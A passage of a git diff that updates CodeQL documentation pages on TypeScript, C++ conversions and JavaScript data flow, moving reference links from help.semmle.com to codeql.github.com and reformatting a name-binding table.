<https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameterized.html>`__ class represents entities that can declare type parameters. Classes, interfaces, type aliases, functions, and mapped type expressions are all ``TypeParameterized``. You can access type parameters using the following predicates: @@ -104,7 +104,7 @@ You can access type parameters using the following predicates: You can access type arguments using the following predicates: - ``GenericTypeExpr.getTypeArgument(n)`` gets the ``n``\ th type argument of a type. -- ``TypeAccess.getTypeArgument(n)`` is a convenient alternative for the above (a `TypeAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAccess.html>`__ with type arguments is wrapped in a `GenericTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GenericTypeExpr.html>`__). +- ``TypeAccess.getTypeArgument(n)`` is a convenient alternative for the above (a `TypeAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAccess.html>`__ with type arguments is wrapped in a `GenericTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GenericTypeExpr.html>`__). - ``InvokeExpr.getTypeArgument(n)`` gets the ``n``\ th type argument of a call. - ``ExpressionWithTypeArguments.getTypeArgument(n)`` gets the ``n``\ th type argument of a generic superclass expression. @@ -128,7 +128,7 @@ Select expressions that cast a value to a type parameter: Classes and interfaces ~~~~~~~~~~~~~~~~~~~~~~ -The CodeQL class `ClassOrInterface <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassOrInterface.html>`__ is a common supertype of classes and interfaces, and provides some TypeScript-specific member predicates: +The CodeQL class `ClassOrInterface <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassOrInterface.html>`__ is a common supertype of classes and interfaces, and provides some TypeScript-specific member predicates: - ``ClassOrInterface.isAbstract()`` holds if this is an interface or a class with the ``abstract`` modifier. - ``ClassOrInterface.getASuperInterface()`` gets a type from the ``implements`` clause of a class or from the ``extends`` clause of an interface. @@ -136,7 +136,7 @@ The CodeQL class `ClassOrInterface <https://help.semmle.com/qldoc/javascript/sem - ``ClassOrInterface.getAnIndexSignature()`` gets an index signature, such as in ``{ [key: string]: number }``. - ``ClassOrInterface.getATypeParameter()`` gets a declared type parameter (special case of ``TypeParameterized.getATypeParameter()``). -Note that the superclass of a class is an expression, not a type annotation. If the superclass has type arguments, it will be an expression of kind `ExpressionWithTypeArguments <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExpressionWithTypeArguments.html>`__. +Note that the superclass of a class is an expression, not a type annotation. If the superclass has type arguments, it will be an expression of kind `ExpressionWithTypeArguments <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExpressionWithTypeArguments.html>`__. Also see the documentation for classes in the "`CodeQL libraries for JavaScript <introduce-libraries-js#classes>`__." @@ -147,25 +147,25 @@ Statements The following are TypeScript-specific statements: -- `NamespaceDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDeclaration.html>`__: a statement such as ``namespace M {}``. -- `EnumDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$EnumDeclaration.html>`__: a statement such as ``enum Color { red, green, blue }``. -- `TypeAliasDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAliasDeclaration.html>`__: a statement such as ``type A = number``. -- `InterfaceDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceDeclaration.html>`__: a statement such as ``interface Point { x: number; y: number; }``. -- `ImportEqualsDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportEqualsDeclaration.html>`__: a statement such as ``import fs = require("fs")``. -- `ExportAssignDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAssignDeclaration.html>`__: a statement such as ``export = M``. -- `ExportAsNamespaceDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAsNamespaceDeclaration.html>`__: a statement such as ``export as namespace M``. -- `ExternalModuleDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExternalModuleDeclaration.html>`__: a statement such as ``module "foo" {}``. -- `GlobalAugmentationDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GlobalAugmentationDeclaration.html>`__: a statement such as ``global {}`` +- `NamespaceDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDeclaration.html>`__: a statement such as ``namespace M {}``. +- `EnumDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$EnumDeclaration.html>`__: a statement such as ``enum Color { red, green, blue }``. +- `TypeAliasDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAliasDeclaration.html>`__: a statement such as ``type A = number``. +- `InterfaceDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceDeclaration.html>`__: a statement such as ``interface Point { x: number; y: number; }``. +- `ImportEqualsDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportEqualsDeclaration.html>`__: a statement such as ``import fs = require("fs")``. +- `ExportAssignDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAssignDeclaration.html>`__: a statement such as ``export = M``. +- `ExportAsNamespaceDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAsNamespaceDeclaration.html>`__: a statement such as ``export as namespace M``. +- `ExternalModuleDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExternalModuleDeclaration.html>`__: a statement such as ``module "foo" {}``. +- `GlobalAugmentationDeclaration <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GlobalAugmentationDeclaration.html>`__: a statement such as ``global {}`` Expressions ~~~~~~~~~~~ The following are TypeScript-specific expressions: -- `ExpressionWithTypeArguments <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExpressionWithTypeArguments.html>`__: occurs when the ``extends`` clause of a class has type arguments, such as in ``class C extends D<string>``. -- `TypeAssertion <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAssertion.html>`__: asserts that a value has a given type, such as ``x as number`` or ``<number> x``. -- `NonNullAssertion <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NonNullAssertion.html>`__: asserts that a value is not null or undefined, such as ``x!``. -- `ExternalModuleReference <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExternalModuleReference.html>`__: a ``require`` call on the right-hand side of an import-assign, such as ``import fs = require("fs")``. +- `ExpressionWithTypeArguments <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExpressionWithTypeArguments.html>`__: occurs when the ``extends`` clause of a class has type arguments, such as in ``class C extends D<string>``. +- `TypeAssertion <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAssertion.html>`__: asserts that a value has a given type, such as ``x as number`` or ``<number> x``. +- `NonNullAssertion <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NonNullAssertion.html>`__: asserts that a value is not null or undefined, such as ``x!``. +- `ExternalModuleReference <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExternalModuleReference.html>`__: a ``require`` call on the right-hand side of an import-assign, such as ``import fs = require("fs")``. Ambient declarations ~~~~~~~~~~~~~~~~~~~~ @@ -190,7 +190,7 @@ Static type information and global name binding is available for projects with " Basic usage ~~~~~~~~~~~ -The `Type <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$Type.html>`__ class represents a static type, such as ``number`` or ``string``. The type of an expression can be obtained with ``Expr.getType()``. +The `Type <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$Type.html>`__ class represents a static type, such as ``number`` or ``string``. The type of an expression can be obtained with ``Expr.getType()``. Types that refer to a specific named type can be recognized in various ways: @@ -343,7 +343,7 @@ Name binding In TypeScript, names can refer to variables, types, and namespaces, or a combination of these. -These concepts are modeled as distinct entities: `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__, `TypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__, and `Namespace <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__. For example, the class ``C`` below introduces both a variable and a type: +These concepts are modeled as distinct entities: `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__, `TypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__, and `Namespace <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__. For example, the class ``C`` below introduces both a variable and a type: .. code-block:: typescript @@ -351,7 +351,7 @@ These concepts are modeled as distinct entities: `Variable <https://help.semmle. let x = C; // refers to the variable C let y: C; // refers to the type C -The variable ``C`` and the type ``C`` are modeled as distinct entities. One is a `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__, the other is a `TypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__. +The variable ``C`` and the type ``C`` are modeled as distinct entities. One is a `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__, the other is a `TypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__. TypeScript also allows you to import types and namespaces, and give them local names in different scopes. For example, the import below introduces a local type name ``B``: @@ -359,33 +359,33 @@ TypeScript also allows you to import types and namespaces, and give them local n import {C as B} from "./foo" -The local name ``B`` is represented as a `LocalTypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeName.html>`__ named ``B``, restricted to just the file containing the import. An import statement can also introduce a `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ and a `LocalNamespaceName <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__. +The local name ``B`` is represented as a `LocalTypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeName.html>`__ named ``B``, restricted to just the file containing the import. An import statement can also introduce a `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ and a `LocalNamespaceName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__. The following table shows the relevant classes for working with each kind of name. The classes are described in more detail below. -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+ -| Kind | Local alias | Canonical name | Definition | Access | -+===========+================================================================================================================================================+======================================================================================================================================+===================================================================================================================================================+==========================================================================================================================================+ -| Value | `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ | | | `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__ | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+ -| Type | `LocalTypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeName.html>`__ | `TypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__ | `TypeDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeDefinition.html>`__ | `TypeAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAccess.html>`__ | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+ -| Namespace | `LocalNamespaceName <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__ | `Namespace <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__ | `NamespaceDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDeclaration.html>`__ | `NamespaceAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceAccess.html>`__ | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+ ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Kind | Local alias | Canonical name | Definition | Access | ++===========+==================================================================================================================================================================+========================================================================================================================================================+=====================================================================================================================================================================+============================================================================================================================================================+ +| Value | `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ | | | `VarAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__ | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Type | `LocalTypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeName.html>`__ | `TypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__ | `TypeDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeDefinition.html>`__ | `TypeAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAccess.html>`__ | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Namespace | `LocalNamespaceName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__ | `Namespace <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__ | `NamespaceDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDeclaration.html>`__ | `NamespaceAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceAccess.html>`__ | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------+ **Note:** ``TypeName`` and ``Namespace`` are only populated if the database is generated using full TypeScript extraction. ``LocalTypeName`` and ``LocalNamespaceName`` are always populated. Type names ~~~~~~~~~~ -A `TypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__ is a qualified name for a type and is not bound to a specific lexical scope. The `TypeDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeDefinition.html>`__ class represents an entity that defines a type, namely a class, interface, type alias, enum, or enum member. The relevant predicates for working with type names are: +A `TypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__ is a qualified name for a type and is not bound to a specific lexical scope. The `TypeDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeDefinition.html>`__ class represents an entity that defines a type, namely a class, interface, type alias, enum, or enum member. The relevant predicates for working with type names are: - ``TypeAccess.getTypeName()`` gets the qualified name being referenced (if any). - ``TypeDefinition.getTypeName()`` gets the qualified name of a class, interface, type alias, enum, or enum member. - ``TypeName.getAnAccess()``, gets an access to a given type. - ``TypeName.getADefinition()``, get a definition of a given type. Note that interfaces can have multiple definitions. -A `LocalTypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeName.html>`__ behaves like a block-scoped variable, that is, it has an unqualified name and is restricted to a specific scope. The relevant predicates are: +A `LocalTypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeName.html>`__ behaves like a block-scoped variable, that is, it has an unqualified name and is restricted to a specific scope. The relevant predicates are: - ``LocalTypeAccess.getLocalTypeName()`` gets the local name referenced by an unqualified type access. - ``LocalTypeName.getAnAccess()`` gets an access to a local type name. @@ -397,7 +397,7 @@ Examples Find references that omit type arguments to a generic type. -It is best to use `TypeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__ to resolve through imports and qualified names: +It is best to use `TypeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$TypeName.html>`__ to resolve through imports and qualified names: .. code-block:: ql @@ -427,11 +427,11 @@ Find imported names that are used as both a type and a value: Namespace names ~~~~~~~~~~~~~~~ -Namespaces are represented by the classes `Namespace <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__ and `LocalNamespaceName <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__. The `NamespaceDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDefinition.html>`__ class represents a syntactic definition of a namespace, which includes ordinary namespace declarations as well as enum declarations. +Namespaces are represented by the classes `Namespace <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__ and `LocalNamespaceName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__. The `NamespaceDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDefinition.html>`__ class represents a syntactic definition of a namespace, which includes ordinary namespace declarations as well as enum declarations. Note that these classes deal exclusively with namespaces referenced from inside type annotations, not through expressions. -A `Namespace <https://help.semmle.com/qldoc/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__ is a qualified name for a namespace, and is not bound to a specific scope. The relevant predicates for working with namespaces are: +A `Namespace <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CanonicalNames.qll/type.CanonicalNames$Namespace.html>`__ is a qualified name for a namespace, and is not bound to a specific scope. The relevant predicates for working with namespaces are: - ``NamespaceAccess.getNamespace()`` gets the namespace being referenced by a namespace access. - ``NamespaceDefinition.getNamespace()`` gets the namespace defined by a namespace or enum declaration. @@ -439,9 +439,9 @@ A `Namespace <https://help.semmle.com/qldoc/javascript/semmle/javascript/Canonic - ``Namespace.getADefinition()`` gets a definition of this namespace. Note that namespaces can have multiple definitions. - ``Namespace.getNamespaceMember(name)`` gets an inner namespace with a given name. - ``Namespace.getTypeMember(name)`` gets a type exported under a given name. -- ``Namespace.getAnExportingContainer()`` gets a `StmtContainer <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$StmtContainer.html>`__ whose exports contribute to this namespace. This can be a the body of a namespace declaration or the top-level of a module. Enums have no exporting containers. +- ``Namespace.getAnExportingContainer()`` gets a `StmtContainer <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$StmtContainer.html>`__ whose exports contribute to this namespace. This can be a the body of a namespace declaration or the top-level of a module. Enums have no exporting containers. -A `LocalNamespaceName <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__ behaves like a block-scoped variable, that is, it has an unqualified name and is restricted to a specific scope. The relevant predicates are: +A `LocalNamespaceName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceName.html>`__ behaves like a block-scoped variable, that is, it has an unqualified name and is restricted to a specific scope. The relevant predicates are: - ``LocalNamespaceAccess.getLocalNamespaceName()`` gets the local name referenced by an identifier. - ``LocalNamespaceName.getAnAccess()`` gets an identifier that refers to this local name. diff --git a/docs/codeql/codeql-language-guides/conversions-and-classes-in-cpp.rst b/docs/codeql/codeql-language-guides/conversions-and-classes-in-cpp.rst index 6d25869a417..9bd057412f6 100644 --- a/docs/codeql/codeql-language-guides/conversions-and-classes-in-cpp.rst +++ b/docs/codeql/codeql-language-guides/conversions-and-classes-in-cpp.rst @@ -10,7 +10,7 @@ Conversions In C and C++, conversions change the type of an expression. They may be implicit conversions generated by the compiler, or explicit conversions requested by the user. -Let's take a look at the `Conversion <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$Conversion.html>`__ class in the standard library: +Let's take a look at the `Conversion <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$Conversion.html>`__ class in the standard library: - ``Expr`` diff --git a/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst index 77092e7d939..85d5e8168fa 100644 --- a/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst @@ -32,9 +32,9 @@ Use the following template to create a taint tracking path query: This query reports flow paths which: -- Begin at a node matched by `isSource <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Configuration.qll/predicate.Configuration$Configuration$isSource.1.html>`__. -- Step through variables, function calls, properties, strings, arrays, promises, exceptions, and steps added by `isAdditionalTaintStep <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/TaintTracking.qll/predicate.TaintTracking$TaintTracking$Configuration$isAdditionalTaintStep.2.html>`__. -- End at a node matched by `isSink <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Configuration.qll/predicate.Configuration$Configuration$isSink.1.html>`__. +- Begin at a node matched by `isSource <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Configuration.qll/predicate.Configuration$Configuration$isSource.1.html>`__. +- Step through variables, function calls, properties, strings, arrays, promises, exceptions, and steps added by `isAdditionalTaintStep <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/TaintTracking.qll/predicate.TaintTracking$TaintTracking$Configuration$isAdditionalTaintStep.2.html>`__. +- End at a node matched by `isSink <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Configuration.qll/predicate.Configuration$Configuration$isSink.1.html>`__. See also: "`Global data flow <analyzing-data-flow-in-javascript.html#global-data-flow>`__" and ":ref:`Creating path queries <creating-path-queries>`." @@ -45,101 +45,101 @@ Use data flow nodes to match program elements independently of syntax. See also: Predicates in the ``DataFlow::`` module: -- `moduleImport <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleImport.1.html>`__ -- finds uses of a module -- `moduleMember <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleMember.2.html>`__ -- finds uses of a module member -- `globalVarRef <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$globalVarRef.1.html>`__ -- finds uses of a global variable +- `moduleImport <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleImport.1.html>`__ -- finds uses of a module +- `moduleMember <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleMember.2.html>`__ -- finds uses of a module member +- `globalVarRef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$globalVarRef.1.html>`__ -- finds uses of a global variable Classes and member predicates in the ``DataFlow::`` module: -- `Node <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__ -- something that can have a value, such as an expression, declaration, or SSA variable - - `getALocalSource <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getALocalSource.0.html>`__ -- find the node that this came from - - `getTopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getTopLevel.0.html>`__ -- top-level scope enclosing this node - - `getFile <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getFile.0.html>`__ -- file containing this node - - `getIntValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getIntValue.0.html>`__ -- value of this node if it's is an integer constant - - `getStringValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getStringValue.0.html>`__ -- value of this node if it's is a string constant - - `mayHaveBooleanValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$mayHaveBooleanValue.1.html>`__ -- check if the value is ``true`` or ``false`` -- `SourceNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ extends `Node <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__ -- function call, parameter, object creation, or reference to a property or global variable - - `getACall <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getACall.0.html>`__ -- find calls with this as the callee - - `getAnInstantiation <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAnInstantiation.0.html>`__ -- find ``new``-calls with this as the callee - - `getAnInvocation <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAnInvocation.0.html>`__ -- find calls or ``new``-calls with this as the callee - - `getAMethodCall <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAMethodCall.1.html>`__ -- find method calls with this as the receiver - - `getAMemberCall <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAMemberCall.1.html>`__ -- find calls with a member of this as the receiver - - `getAPropertyRead <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertyRead.1.html>`__ -- find property reads with this as the base - - `getAPropertyWrite <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertyWrite.1.html>`__ -- find property writes with this as the base - - `getAPropertySource <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertySource.1.html>`__ -- find nodes flowing into a property of this node -- `InvokeNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$InvokeNode.html>`__, `NewNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$NewNode.html>`__, `CallNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$CallNode.html>`__, `MethodCallNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$MethodCallNode.html>`__ extends 